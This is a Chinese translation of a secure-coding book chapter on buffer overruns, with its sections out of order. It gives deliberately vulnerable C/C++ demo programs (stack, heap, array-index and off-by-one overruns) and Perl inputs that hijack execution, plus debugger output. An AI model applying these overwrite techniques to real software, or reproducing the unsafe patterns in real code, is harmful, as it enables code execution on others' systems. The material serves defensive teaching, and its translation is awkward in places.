Unicode與ANSI緩衝大小失調

在Windows平台中,由Unicode和ANSI緩衝大小失調而引起的緩衝溢位是相當普遍的。如果您把Unicode緩衝大小的元素數目搞混,這就很容易發生。有兩個它會如此廣佈的理由:Windows NT及其以後的版本支援ANSI和Unicode字串,而且大部分的Unicode函數以廣義的字元處理緩衝大小,而不是位元大小。

最容易受害且最常用的函數便是MultiByteToWideChar。請看看以下的語法:

BOOL GetName(char *szName)
{
WCHAR wszUserName [256 ];
//將ANSI名稱轉換到Unicode.
MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName));
//Snip
§
}

您可以看得出來問題出在哪嗎?問題就出在MultiByteToWideChar最後的引數。這個引數表示:以廣義的字元指定大小,藉由 lpWideCharStr參數指向緩衝。所引入的數值為sizeof(wszUserName)。WszUserName是一個Unicode字串、 256廣義字元。廣義字元具有兩個byte,因此實際上sizeof(wszUserName)是512位元。由此可知,函數會認定緩衝大小是512廣義 字元。因為wszUserName在堆疊上,我們便擁有潛在發生的緩衝溢位。
以下是這個函數的正確寫法:

MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName)/sizeof(wszUserName [0 ]));

要降低困擾,下面是一個用來建立巨集的好方法:

#define ElementCount(x) (sizeof(x)/sizeof(x[0]))

這是在將unicode轉換成ANSI時,你應該要想到,並不是所有的字元都可以被輚換。WideCharToMultiByte的第二個參數用來在字元 無法被轉換時,判斷函數是如何執行的。在與canonicalization打交道或者是記錄使用者輸入時,它是很重要的,特別是從網路上進行這個工作。

警告

使用%S格式用來指定printf家族函數將會跳過沒有被轉換的字元。因此在輸入的Unicode 字串字元數比輸出字元字串來的大的情況是有可能的。

一個 Unicode bug 實例

IPP (The Internet Printing Protocol)緩衝溢位便是Unicode bug的一種。您可以在www.microsoft.com/technet/security中的MS01-23看到一些有關訊息。在IIS 5(Internet Information Service)中,IPP在SYSTEM帳號下扮演ISAPI過濾器的角色,因此遂行的緩衝溢位變得更加危險。請注意臭蟲並非在IIS中,受害的程式語法有點像是以下這樣:

TCHAR wszComputerName [256 ];
BOOL GetServerName(EXTENSION_CONTROL_BLOCK *pECB){
DWORD dwSize =sizeof(wszComputerName);
char szComputerName [256 ];
if (pECB->GetServerVariable (pECB->ConnID,
"SERVER_NAME",
szComputerName,
&dwSize)){
//Do something.
}

ISAPI 函數─ GetServerVariable,可以複製 dwSize 所定義的位元大小到 szComputerName,而 dwsize 是 512,TCHAR在程式中是一個 Unicode 或是廣義字元。此函數能夠將最大至 512 位元的資料複製到 szComputerName 中。
它是一個對於緩衝區由 ANSI 轉到 UNICODE 並不會產生衝突的一個溢位的錯誤觀念。每個其它的字串都是空字串,那你應該要如何使用它呢?你可以參考 Chris Anley 的文章,裡面有描述這是如何產生的,而你可以在下面的網址中找到造成這種情況的原因。
總結來說,你需要一個較往常大的緩衝區,而攻擊者就會自Intel的架構中包含了位元總數的變數中取得利益。這允許攻擊者讓系統將一系列的 Unicode 串解譯到單一位元指令的字元。如同往常,假設攻擊者可以用任何方法來影響執行路徑,就有可能發生濫用的情況。

防範緩衝溢位

第一道防線便是撰寫零錯誤程式碼!雖然撰寫安全性語法在某方面窒礙難行,不過防止了緩衝溢位,就等於撰寫了一個零錯誤的程式。Steve Maguire所撰寫的Writing Solid Code (Microsoft Press,1993,中譯本為撰寫零錯誤程式)是一本你可以參考的寶貴資源。即使您是一位小心翼翼、經驗豐富的程式設計師,這本書依然值得閱讀。

再來便是讓您所輸入的資訊總是有效,如此在函數以外的世界都將會被視為敵人,也會跟著你毀滅。同樣地,與函數的完成、及函數所預期的輸出入資訊無關的事物將可在函數以外的地方存取。最近筆者與一位程式設計師以EMAIL交流,他寫了一個程式如下:

void PrintLine(const char*msg)
{
char buf [255 ];
sprintf(buf,"Prefix %s suffix \n",msg);
§
}

當筆者問這位網友為何沒有讓輸入的資訊有效,他的回答是:控制了所有呼叫函數的程式語法、並且知道緩衝的長度、也不想讓它溢位。接著筆者問他如果有些人並 沒有小心維護自己的語法,這樣會發生什麼事,結果它只說了一句:哦!這樣的建構方式只會招來麻煩,即使有非預期的輸入資訊進入函數中,函數也會悄悄地出現 問題。

其它我從微軟的程式設計人員所學到的有趣技巧是具攻擊性的程式。如果函數使用輸出緩衝及size參數,插入如下的狀態式:

#ifdef _DEBUG
memset(dest, ’A’, buflen); //buflen = size in bytes
#endif

然後,在有人呼叫你的函數並且為緩衝區長度管理傳入的不好參數,他們的程式將會無法使用。假設你仗用最後一版的編輯器,問題很快的就會出現。我想它是將測試嵌入應用程式,並且不用倚賴完全的測試的一種找出臭蟲的方法,而這在本章後面會為您介紹。

系統安全公敵 - 緩衝溢位 (二)

系統安全公敵 - 緩衝溢位 ()

堆積溢位(Heap Overrun)

「堆積溢位」(Heap Overrun)和緩衝溢位是一樣,都是嚴重的溢位問題,但是比起緩衝溢位,堆積溢位需要更多一點的技巧。在靜態緩衝溢位的例子中,攻擊者可以在你的程式中任意寫入資訊。WSD(w00w00 Security Development)Matt Conover所撰寫的w00w00 on Heap Overflows是筆者讀過的一篇好文章,您可以在www.w00w00.org/files/articles/heaptut.txt中找到這篇文章。這篇文章列出許多有關Heap Overrun的攻擊,以下則是有關於Heap Overrun嚴重性的結論:

  • 許多程式設計師不認為Heap Overrun是可被開發出來的,這使得他們對於動態指派緩衝疏於照顧。

  • 許多工具可以用來防止靜態緩衝溢位,像是StackGuard、Visual C++ .NET。但這些工具目前並沒辦法對抗堆積溢位。

  • 有些作業系統及晶片的架構可以將堆疊設定為不可執行。但是這也無法幫助你對抗Heap Overrun的攻擊,因為不可執行的堆疊只能對抗以堆疊(Stack)為基礎的攻擊,而非以堆積(Heap)為基礎。

雖然在Matt的文章中是以 UNIX 受到攻擊為範例,但千萬別笨得以為 Microsoft 的 Windows 系統就可逃過一劫。有許多證明 Windows 的程式會被堆積溢位所攻擊。在 w00w00 的文章中並沒有針對堆積溢位攻擊的可能性作詳細說明,不過您還是可以到 BugTraq上Solar Designer 所貼的文章去查詢(www.securityfocus.com/archive/1/71598):

To: BugTraq
Subject: JPEG COM Marker Processing Vulnerability in Netscape
Browsers
Date: Tue Jul 25 2000 04:56:42
Author: Solar Designer <>
Message-ID: <200007242356.daa01274@false.com>
[以上文字省略]

在以下的例子中,我們假設 Doug Lea 的 malloc (使用在大部分的 Linux 平台中,libc5 和glibc)及 locale 函數為 8 位元的字元組(就像大部分的 locale 依附於 glibc ,包括 en_US 或是ru_RU.KOI8-R)。

以下的各項欄位是為了保留給列表中未使用的資料區塊:之前保留給資料區塊的大小(如果未被使用的話)、這個資料區塊的大小、及指到下一個和前一個資料區塊的指標。另外,資料區塊的大小所顯示的bit 0,乃是用來表示前一個資料區塊是否正在使用中(由於structure大小及alignment,chunk實際大小的LSB將總是為0)
小心處理這些欄位,便可能將傳送到free(3)記憶體位址的呼叫,取代為我們的資料,進而覆蓋掉原來獨占性記憶體位址的資料。

[以下文字省略]

請注意這對Linux/x86並沒有任何限制,只是需要以其中一種平台做範例罷了。
以下的程式顯示堆積溢位如何達成:

/*
HeapOverrun.cpp
*/
#include
#include
#include
/*
用來描述問題的一個很爛的典型模組
*/

class BadStringBuf
{
public:
BadStringBuf(void)
{
m_buf =NULL;
}
~BadStringBuf(void)
{
if(m_buf !=NULL)
free(m_buf);
}

void Init(char*buf)
{
//真是爛程式
m_buf =buf;
}
void SetString(const char*input)
{
//這太白痴了
strcpy(m_buf,input);
}
const char*GetString(void)
{
return m_buf;
}
private:
char*m_buf;
};
//宣告一個指標到BadStringBuf典型模組,以保留我們的輸入
BadStringBuf*g_pInput =NULL;

void bar(void)
{
printf("Augh!I've been hacked!\n");
}

void BadFunc(const char*input1,const char*input2)
{
//有人告訴我堆積溢位並不是最酷的,所以我們將要在heap中分配緩衝區
char*buf =NULL;
char*buf2;
buf2 =(char*)malloc(16);
g_pInput =new BadStringBuf;
buf =(char*)malloc(16);
//在分配記憶體時,沒有錯誤檢驗的爛程式allocations
g_pInput->Init(buf2);
//最糟的事情就是當機,不是嗎?
strcpy(buf,input1);
g_pInput->SetString(input2);
printf("input 1 =%s \ninput2 =%s \n",buf,g_pInput->GetString());
if(buf !=NULL)
free(buf);
}

int main(int argc,char*argv [])
{
//模擬argv 字串
char arg1 [128 ];
//這是bar函數的位址

char arg2 [4 ]={0x0f,0x10,0x40,0};
int offset =0x40;
//使用0xfd 是克服heap 損壞檢驗的壞方法
//The 0xfd value at the end of the buffer checks for corruption.
//在這裡沒有錯誤檢驗—它只是建立一個溢位字串的例子
memset(arg1,0xfd,offset);
arg1 [offset ]=(char)0x94;
arg1 [offset+1 ]=(char)0xfe;
arg1 [offset+2 ]=(char)0x12;
arg1 [offset+3 ]=0;
arg1 [offset+4 ]=0;
printf("Address of bar is %p \n",bar);
BadFunc(arg1,arg2);
if(g_pInput !=NULL)
delete g_pInput;
return 0;
}

您也可以在本書所附 CD 裡的 SecureCo2\Chapter 5 資料夾中找到這個程式。我們來看看 main 函數發生了什麼事。首先筆者將找一個便利的方法,把想要傳送至函數的字串設定好。在現實中,字串是由使用者傳送進來。接著筆者將用一些技巧,把想要跳進去的位址列印出來,然後將字串傳送到BadFunc函數中。

您可以想像一位程式設計師對於所撰寫的 BadFunc 產生了靜態緩衝溢位,而朋友卻告訴他一點也沒發生堆積溢位的情形,這將是多尷尬的一件事。因為這位程式設計師還是 C++ 的初學者,同時他也寫了BadStringBuf 的函數,如此C++便將輸入緩衝指標分類。其最大的特徵便是在destructor 中釋放緩衝,以防止記憶體的資料外漏。當然,如果 BadStringBuf 中的緩衝沒有對 mallo c 做初始化,則在呼叫 free 函數的時候會出現一些問題。在 BadStringBuf 中還有幾個其他的臭蟲,筆者將留給讀者自行判斷它們位於何處。

現在讓我們想像自己是一位駭客,你已經注意到當第一或是第二個引數過長而致使程式爆炸,然而錯誤訊息卻顯示記憶體在 heap 中損毀。接著您將為這個程式進行偵錯,並尋找第一個輸入字串的位置。靠近緩衝最佳的記憶體位址在哪?調查中顯示第二個引數寫入另一個動態定位的緩衝中。指 向緩衝的指標在哪?我們可以搜尋符合第二個緩衝位址的記憶體位址(byte),而指向第二個緩衝的指標剛好是 0x40 byte 經過第一個緩衝起始點的位置。當第二個引數被寫成任何指標時,我們可以任意改變此指標,換言之,也可以改變為任何我們所傳送的字串。

在第一個範例中,其目的是得到bar函數並執行,我們可以在這個範例中的參考位址 0x0012fe94 覆寫指標,此時會保留 BadFunc 函數的回傳位址,而這個位址正是在堆疊中指標的位置。您可以依循除錯程式的指示,這個範例是在 Visual C++6.0 中所建立的,如果你的版本不同或是想要試著讓所釋出的版本可以正常的運作的話,offsets 和記憶體配置將會有很多變化。接著我們將把第二個字串設在0x0012fe94~0x0040100f(bar函數的位址)。因為我們沒有將堆疊打碎,因此有些機構將會保護堆疊以致堆疊不會注意到任何改變。如果你執行範例程式,會得到以下的結果:

Address of bar is 0040100F
input 1 = 22222222222222222222222222222222222222222222222222222222o57
input 2 = 64@
Augh! I’ve been hacked!

要注意的是您可以在除錯模式下執行這個程式,因為 Visual C++ 在除錯模式下的堆疊檢查並不能被應用在 Heap 上。如果您覺得這個範例老是在繞圈子而不是那麼容易懂,或是在現實中這樣的可能性是微乎其微,請再仔細思考看看!當 Solar Designer 在他的 email 中指出,即使兩個緩衝無法彼此相鄰,任意的語法也能夠被執行,這是因為你可以很技巧地使用 Heap 管理常式(Heap management routines)。

Note

我至少知道有三種方法可以讓堆積管理在你所想要的地方寫入四個位元組,而這接著會被用來覆寫掉指標、框架或者是你想要的任何基本東西。它也會因為在應用程式中覆寫掉了一些數值而造成安全性上的臭蟲。存取查驗(Access checks)就是其中一個例子。

堆積溢位的數量增加的愈來愈快速了。堆積溢位的攻擊通常較 stack-based 緩衝溢位來的嚴重。但對於駭客而言,不論它是好的駭客或者是一個居心不良的駭客,問題愈有趣,他們就會覺得能解決這個問題是更酷的事情。在這裡底限是你並不需望使用者輸入可以任意寫入記憶體位置的資料。

陣列索引錯誤

陣列索引錯誤比起緩衝溢位則較為不普遍,但是它會造成同樣的結果─那是因為字串也是一串字元組合而成,而且不管哪一種陣列,都一樣會被用來寫入記憶體任意位置。如果你不正視這個問題,或許認為陣列索引錯誤只會允許你寫入比陣列基準(base of the array)高的記憶體位置,但這是不對的。筆者將會針對這個問題在稍後的部分做討論。

現在讓我們看看一個範例程式,看它展示陣列索引錯誤如何被用來寫入記憶體的任意位置:

/*
ArrayIndexError.cpp
*/
#include
#include
int*IntVector;

void bar(void)
{
printf("Augh!I've been hacked!\n");
}
void InsertInt(unsigned long index,unsigned long value)
{
printf("Writing memory at %p \n",&(IntVector [index ]));
IntVector [index ]=value;
}
bool InitVector(int size)
{
IntVector =(int*)malloc(sizeof(int)*size);
printf("Address of IntVector is %p \n",IntVector);
if(IntVector ==NULL)
return false;
else
return true;
}
int main(int argc,char*argv [])
{
unsigned long index,value;
if(argc !=3)
{
printf("Usage is %s [index ][value ]\n");
return -1;
}
printf("Address of bar is %p \n",bar);
//讓我們啟動vector,64 KB的空間對任何人而言,都夠用的
if(!InitVector(0xffff))
{
printf("Cannot initialize vector!\n");
return -1;
}
index =atol(argv [1 ]);
value =atol(argv [2 ]);
InsertInt(index,value);
return 0;
}

ArrayIndexError.cpp這個程式也可以在所附的光碟中SecureCo2\Chapter 5資料夾中找到。
現在我們用數學來算算!在範例中的陣列從0x00510048開始,而我們要寫入的位置則是在堆疊上的回傳數值─0x0012FF84。以下方程式敘述單一陣列元素的位址如何由陣列基數、索引、陣列元素的大小所決定:

Address of array element = base of array + index * sizeof(element)
將範例中的數值代入方程式中,我們得到:
0x10012FF84 = 0x00510048 + index * 4
注意0x10012FF84被使用於方程式中,而非0x0012FF84。Calc.exe這個程式顯示索引是0x3FF07FCF或是 1072725967,而bar(0x00401000)函數的位址則是4198400(十進位)。以下是程式的結果:

[d:\]ArrayIndexError.exe 1072725967 4198400
Address of bar is 00401000
Address of IntVector is 00510048
Writing memory at 0012FF84
Augh!I've been hacked!

正如您所看到的,如果攻擊者已經存取了除錯程式,此時便發生一些瑣碎的錯誤。另外一些相關的問題,便是截斷性的錯誤。對於32位元的作業系統, 0x100000000和0x00000000其實是相同的值。程式設計師對於截斷性錯誤(truncation error)相當熟悉,因此相較於那些只攻讀資訊工程的人而言,他們傾向於撰寫較具體的程式碼。筆者認為這是因為這些人具有數值分析的背景,有了數值分析 的能力,對於截斷性錯誤會具有更好的鑑識能力。

在UNIX作業系統中,管理者的帳號具有一個使用者ID是0。網路的檔案服務會接受整數的使用者ID,檢查是否為非零的整數,並將其截短。這樣的裂縫將可 讓使用者以非零、截斷成2位元的0x10000的ID(UID)登入,在0x0000結束,並讓准允使用者以管理者的身分登入,因為UID是0。因此當處 理任何有關截斷錯誤或是溢位,請小心

系統安全公敵 - 緩衝溢位 (一)

系統安全公敵 - 緩衝溢位 ()

 


“緩 衝溢位”(Buffer Overrun)在安全上經常是一個問題,最有名的例子便是在1988年Robert T. Morris所設計的毒蟲(Worm)。這個毒蟲的英勇事蹟是導致整個網路幾乎停擺,而網路管理員則必須拔掉網路線,才能控制損害。緩衝區溢位的問題最早 可以追溯到1960年。關於這個議題,你可以在search.support.microsoft.com/kb這個網站上利用緩衝區、安全性等字眼,就 可以找到約20個以上合乎條件的搜尋。而這種標題所衍生出來的需求,則導致一些遠端特權擴大的情形。任何人在www.securityfocus.com 的錯誤通報郵件名單上面,都可以看到在各種不同的作業平台上所執行的程式,所發生的緩衝溢位的相關訊息。

由 此可知,緩衝溢位所帶來的衝擊是不可以低估的!微軟安全回報中心(Microsoft Security Response Center)估計如果發布一個安全性公告,以及建立其相關的修正程式(patch)需要花費100,000美金,但也祇是剛開始而已。數千個網路管理者 必須花更多時間將這些修正程式套用在各個系統上。而系統管理人員同時也必須去識別系統中是否尚有其他系統尚未套用這些修正程式、或者是想辦法通知這些系統 的使用者。更糟的是,使用網路的顧客,同樣的也會被這樣的問題波及。單一的攻擊有可能會造成天文數字的損失,如攻擊者已經侵入如信用卡卡號之類有價值的資 訊。在你的系統上所發生的小小疏忽,可能造成了百萬元的損失,更別提別人會因此而咒罵你了。如果因為你的疏乎,而造成這樣的損失的話,你應該要為自己的疏 乎承擔責任。事實通常是冷酷的,雖然人人都會犯錯,但有些錯誤卻會引起非常嚴重的後果。
緩衝溢位會成為今天的問題,在於貧乏的撰寫程式習慣,如C和C++缺乏安全、易用的字串、管理函數以及忽略重大的嚴重性…等。這些習慣等於程式設計師自己用槍射自己的腳。


視窗安全小組在2002年在微軟公司發展了一組字串處理函數,而這組函數與作業系統所製作的函數有類似的地方。我希望這些新的函數將會被納入標準,這樣不 管目標平台是什麼,我們都有有安全的字串處理子可以使用。我將會花一些時間在本章的「使用Strsafe.h」一節中來解釋Microsoft 版本的函數。
雖然我真的很喜歡BASIC的變數—你們可能認為我指的是Microsoft Visual Basic,但是我是因為需要行號(Java, Perl, C#)才開始撰寫BASIC的—而其它的高階語言,都會進行執行階段的陣列範圍檢查,而他們也有很多方便的字串型態,而這些語言都有他們自己方便的字串型 態,而這就是為什麼作業系統都以C寫成,有些會加入C++。因為原始的系統呼叫界面是以C或C++寫成的,程式設計人員將會可以更有彈性的使用他們。雖然 讓時間倒轉並且認定c是一個安全的字串型態,擁有安全函數的程式庫,但他們是不可能能。我們只要知道當我們我們的程式是使用在刀口上—那就要小心操刀了。

在接下來的部分,將舉出不同類型的緩衝溢位,諸如陣列索引錯誤、字串格式的臭蟲、Unicode與ANSI緩衝大小不合等等。筆者將告訴您一些方法排解這些問題,也會告訴您一些避免這些問題的技巧。


靜態緩衝溢位

當一個被宣告在堆疊中的緩衝區,經由複製資料的方式,被寫入了一個比緩衝區大的資料時,此時就稱為“靜態緩衝溢位”。在堆疊中宣告的變數,位在為 function caller所準備的回傳位址旁。一般犯罪的手法是將未檢驗的使用者輸入資訊傳送至如strcpy的函數中,其結果是函數的回傳位址被攻擊者所選擇的位址 所覆寫。一般攻擊者可以取得一個具備緩衝溢位的程式,並且做些他認為有用的事:像是在他們所選擇的位址埠上組合一些命令。不過攻擊者還是有一些需要克服 的,像是使用者輸入的資訊不一定完全未被檢驗,還有在緩衝中的字元的數目也受到限制。如果您使用的是佔有兩個字元(double-byte)的字元組(像 是中文),攻擊者可能就必須花較多時間克服,但還是有辦法解決的。接下來筆者將用C來展示一個簡易的溢位,請看看以下的語法:

/*
StackOverrun.c
這個程式顯示了stack-based緩衝區溢位,可以用來執行任何程式。它主要是找到一個執行函數列的輸入字串
*/
#include
#include
void foo(const char* input)
{
char buf[10];
//什麼?沒有其它的參數可以傳送給printf?

//當我們觀查格式時,我們將會再次看到這個把戲

printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n”);

//將使用者輸入直接送到安全程式碼,頭號公敵
strcpy(buf, input);
printf(“%s\n", buf);
printf(“Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”);
}
void bar(void)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
printf(“Address of foo = %p\n", foo);
printf(“Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}

這個例子就像程式語言初學範例的“Hello World”一樣簡單,筆者一開始做了一點欺騙的小動作,使用printf函數的%p引數列印出foo和bar兩個函數的位址。如果要實際入侵一個程式, 則必須試著跳進宣告於foo的靜態緩衝區,或是從系統中的動態連結資料庫(DLL)中找到一個有用的函數。這個練習的目的在於取得bar函數並執行。 Foo函數包含了一對printf的敘述,可以使用其多樣的引數在堆疊中列印出數值。真正的問題出現於foo函數盲目地接受使用者輸入的資訊,並且將其複 製到10個位元的緩衝之中。

 

Note

Stack-based緩衝溢位通常會被稱為靜態緩衝溢位。雖然靜態意味著一個真實的靜態變數,它將會被安排在全域記憶體空間中,靜態這個字眼與動態分配 是相對的。雖然靜態這個字眼代表了”超過負荷”,一般可以視為靜態緩衝溢位,等於“stack-based緩衝溢位”。

最好的方法就是在命令列中編譯程式,以產生一個可執行程式。請不要只是在Microsoft Visual C++中的偵錯模式中執行它,因為除錯(debug)會檢查堆疊的錯誤,且不會適當地顯示問題。然而,如果你將程式載入Visual C++,並在釋放模式(Release Mode)中執行,以下便讓我們來看看在提供一個字串作為命令引數之後的輸出值:
[d:\]StaticOverrun.exe Hello
Address of foo =00401000
Address of bar =00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <--我們要覆寫foo的回傳位址.
00410EDE

Hello
Now the stack looks like:
6C6C6548 <--您可以看到“hello”被複製到哪
0000006F
7FFDF000
0012FF80
0040108A
00410EDE
接著我們輸入一個長字串以測試buffer overrun:
[d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA
Address of foo =00401000
Address of bar =00401045
我的堆疊如下::
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
AAAAAAAAAAAAAAAAAAAAAAAA
結果堆疊就像以下這樣:
41414141
41414141
41414141
41414141
41414141
41414141
接著我們得到程式的錯誤訊息,表示要求0x41414141的指令,並試著在0x41414141的位址存取記憶體,如圖3-1所示:


圖 5-1 在靜態緩衝溢位發生之後,所顯示的程式錯誤訊息


要注意的是,如果您在系統中沒有安裝任何開發工具,這樣的訊息只會出現在Dr. Watson的紀錄中。您可以查閱ASCII碼,很快知道0x41表示字母A,這個結果證明我們的程式是可用的。如果你無法了解這樣的結果,並不代表Buffer Overrun不可用,那是因為您需要花更多時間去了解。

 

溢位是可被利用的嗎?

如我們先前所簡單描述的,有很多方法會引起剝削溢位。除了一些微不足道的例子,它一般不可能證明緩衝溢位並不是可被利用的。你只可以證明某些事情是剝削溢 位可被利用的,所以任何現存的緩衝區溢位也是剝削溢位。也就是說,如果你無法證明它是剝削溢位,請假設它是剝削溢位。如果你告訴應用程式緩衝區溢位並不是 剝削溢位,奇特的是某些人將會發現一個證明它是剝削溢位,它將會讓你覺得不知所措。更糟糕的是,那可能可能發現那個溢位是剝削溢位,並且告訴犯罪者!


現在你誤導了你的使用者,讓他們認為使用修正程式用來修正溢位問題,並不是最高的優先順位,並且有一個非公開的剝削溢位被用來攻擊你的客戶。我將會把這個 點再深入的探索,我曾經看過很多程式發展人員在他們修正程式前,先要求它被證明某些事情是剝削溢位。這是一個錯誤的觀念,而對於管理實體軟體來講,是很糟 糕的,並且宣稱每個程式都被稱式設計人員修正過了,依照程式設計師修復的複雜度及技術,他們可能會再製造出來一些新的臭蟲。


這種情況是真實的,但是讓我們來看看剝削溢位與特定的臭蟲之間有什麼差別?緩衝溢位起因於一個安全性的公報,如果你撰寫了一個公開的伺服器程式,則會因為 蠕蟲的關係而受到廣泛的蠕蟲攻擊。原始的臭蟲是起因於修復服務套件,或者是軟體維護。然而,我們需要權衡它的影響。


我認為剝削緩衝溢位比有100個臭蟲來的糟糕。同時,它也可能會花程式發展人員很多時間來判斷哪件事情是造成它的原因。它可能會花費少於一個小時的時間來 修復這個問題,並讓一些人來檢視你的變更。緩衝區溢位的修正通常不是冒險變更。即使你認為你無法找到可以利用的溢位方法,然後你可以確定真的沒有方法可以 產生剥削溢位。人們也會問,有辦法找到有問題的程式嗎?要判斷任何使用這個函數的可能程式管道及一系列的相關主題是很因難的,你並無法嚴格的判斷你是否檢 查了所有可能進入你的函數的方法。

 

重要

別只是修正你認為是剝削溢位的錯誤,也要修正臭蟲。


接著我們看看如何找到輸入程式的字元:
[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo =00401000
Address of bar =00401045

我的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EBE
ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890


結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
54535251
58575655


現在程式錯誤訊息顯示我們試著在0x54535251執行命令。由ASCII碼表得知,0x54表示字母T,這正是我們想要去修改的部分。接著我們再試試這個:


[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS
Address of foo =00401000
Address of bar =00401045


目前的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
ABCDEFGHIJKLMNOPQRS


結果堆疊如下::
44434241
48474645
4C4B4A49
504F4E4D
00535251
00410ECE


藉由改變使用者輸入,我們可以運用程式本身試著執行下個命令的特性。說得更白一點,如果我們以0x45、0x10、0x40代替QRS的話,可以得到 bar函數並且執行。然而您將如何在命令列中傳送像是0x10這些奇怪的字元呢?正如其他手段高明的駭客,筆者將利用以下叫做Hack- Overrun.pl 的Perl語法,以易於在程式中隨心所欲傳送指令:


$arg ="ABCDEFGHIJKLMNOP"."\x45 \x10 \x40";
$cmd ="StaticOverrun ".$arg;
system($cmd);


執行此語法以產生想要的結果:
[d:\devstudio \myprojects \staticoverrun ]perl HackOverrun.pl
Address of foo =00401000
Address of bar =00401045


目前的堆疊如下:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A
00410ECA
ABCDEFGHIJKLMNOPE?@


結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
00401045
00410ECA
Augh!I've been hacked!


這很簡單吧!其實初學者也很容易做到,但是在實際的攻擊中,我們將會填滿16個用來攻擊受害者的組合字元,並在緩衝的起頭設定回傳位址。


請注意,若你使用不同的編譯器或者是執行非英文版的作業系統,這些偏移量將會不同。而讀者會發現本書的前一版中,這個程式無法良好執行的原因就在這裡。當 然,這只是其中一個原因,我用了一些作弊的方法,並且印出了我的兩個函數,讓範例可以正確運作的方法就是使用下面所描述的方法,將bar函數的真實記憶體 位置放進你的Perl指令檔中,如果你使用Visual C++ .NET來編譯這些程式的話,預值值為/GS,以避免這個範例程式全部執行。除了將旗標拿出專案設定,或者是從自命令列中進行編譯。現在讓我們來看看這個 範例中,是什麼樣的小細節造成了很大的錯誤。


/*
OffByOne.c
*/
#include
#include
void foo(const char* in)
{
char buf[64];
strncpy(buf, in, sizeof(buf));
buf[sizeof(buf)] = ’\0’; //whups - off by one!
printf(“%s\n", buf);
}
void bar(const char* in)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
if(argc != 2)
{
Chapter 5 Public Enemy #1: The Buffer Overrun 137
printf(“Usage is %s [string]\n", argv[0]);
return -1;
}
printf(“Address of foo is %p, address of bar is %p\n", foo, bar);
foo(argv[1]);
return 0;
}

我們可憐的程式設計師給了這個程式一個重擊—它使用strncpy將程式複製到緩衝區,而sizeof則被用來判斷緩衝區的大小。唯一犯的錯誤是它超過了它應該擁有的位元數。最好的方法是將偵錯的資訊加入所編譯過的軟體版本中。進入你的專案設定中,在C/C++ 設定中,設定偵錯設定選項,並且關閉會與最佳化相衝突的偵錯資訊。如果你使用Visual Studio .NET,請關閉/GS 選項及/RTC選項,或者是停用模擬項目。接下來,到連結選項中,啟動偵錯資訊(Debug Info)。

將開頭為a的字串都放到你的程式參數中,在foo處設定中斷點,接著讓我們來看看發生什麼事情。首先,先開啟你的登錄器編輯視窗,並且注意EBP值—這點 會變的非常的重要。現在,接著進入foo,拉下記憶體視窗,找出buf,strncpy呼叫將會把buf都填入a開頭的字串。而在buf下的下一個值是你 儲存的EBF指引器。現在執行下一行程式,以空字串結束1BUF,並且注意EBF指標是如何被儲存從0x0012FF80到0x0012FF00位址間的 變更。(在我的系統中,我用的是Visual C++ 6.0—而你的執行效果可跟我不同)。接著,判斷你儲存在0x0012FF00位址的內容—它現在被填入了0x41414141。現在執行printf 呼叫,右按程式,並且切換到反組譯模式。

開啟登錄器視窗,並且小心觀察會發生什麼事情。在ret指令之前,我們會看到ebp。現在,注意EBP登錄器中有我們的破壞值。我們現在回到我們開始要離 開的main 函數,而在籨從main函數返回前,執行的最後一個指令是mov esp、ebp—我們將要從EBP登錄器中取出它的內容—即我們的框架指標!請注意一旦我們執行了最後的ret呼叫,我們就會在0x41414141右邊 的位置。我們可以使用一個位元組就明確的控制執行流程。


要讓它成為剝削溢位的話,我們可以在簡單的stack-based的緩衝區溢位上使用相同的技巧。我們會將它修補到沒有錯誤為止。就像是第一個程式,一個用Perl撰寫的程式,是讓它運作的最簡單的方法。這裡是我的方法:


$arg = “AAAAAAAAAAAAAAAAAAAAAAAAAAAA”."\x40\x10\x40";
$cmd = “off_by_one “.$arg;
system($cmd);
這裡是它的輸出:
Address of foo is 00401000, address of bar is 00401040
AAAAAAAAAAAAAAAAAAAAAAAAAAAA@?@
Augh! I’ve been hacked!


要迎合這個剝削溢位的情況,需要幾種狀況。首先,在緩衝區的數位必須被4除盡,或者是住位元的緩衝溢位並不會改變儲存的EBP。接著,我們需要控制EBP 指向的位置,因此,如果EBP的最後的位元是0xF0,而我們的緩衝區少於240位元,我們並無法直接改變最後被移動到ESP中的值。不然,就會發生因為 差一錯誤而產生溢位的情況。“Apache mod_ssl,差一錯誤” 及wuftpd ‘glob是兩個很有名的例子,你可以在http://online.securityfocus.com/archive/1/279074及 ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/cert.org/CA-2001-33這個位址找到它的內容。

注意

Intel的64位元處理器Itanium並不會在堆疊上推擠回傳位址,而回傳位址則由暫存器所掌握。這並不表示這個處理器不會受到buffer overrun的影響,只是較難達成overrun的效果。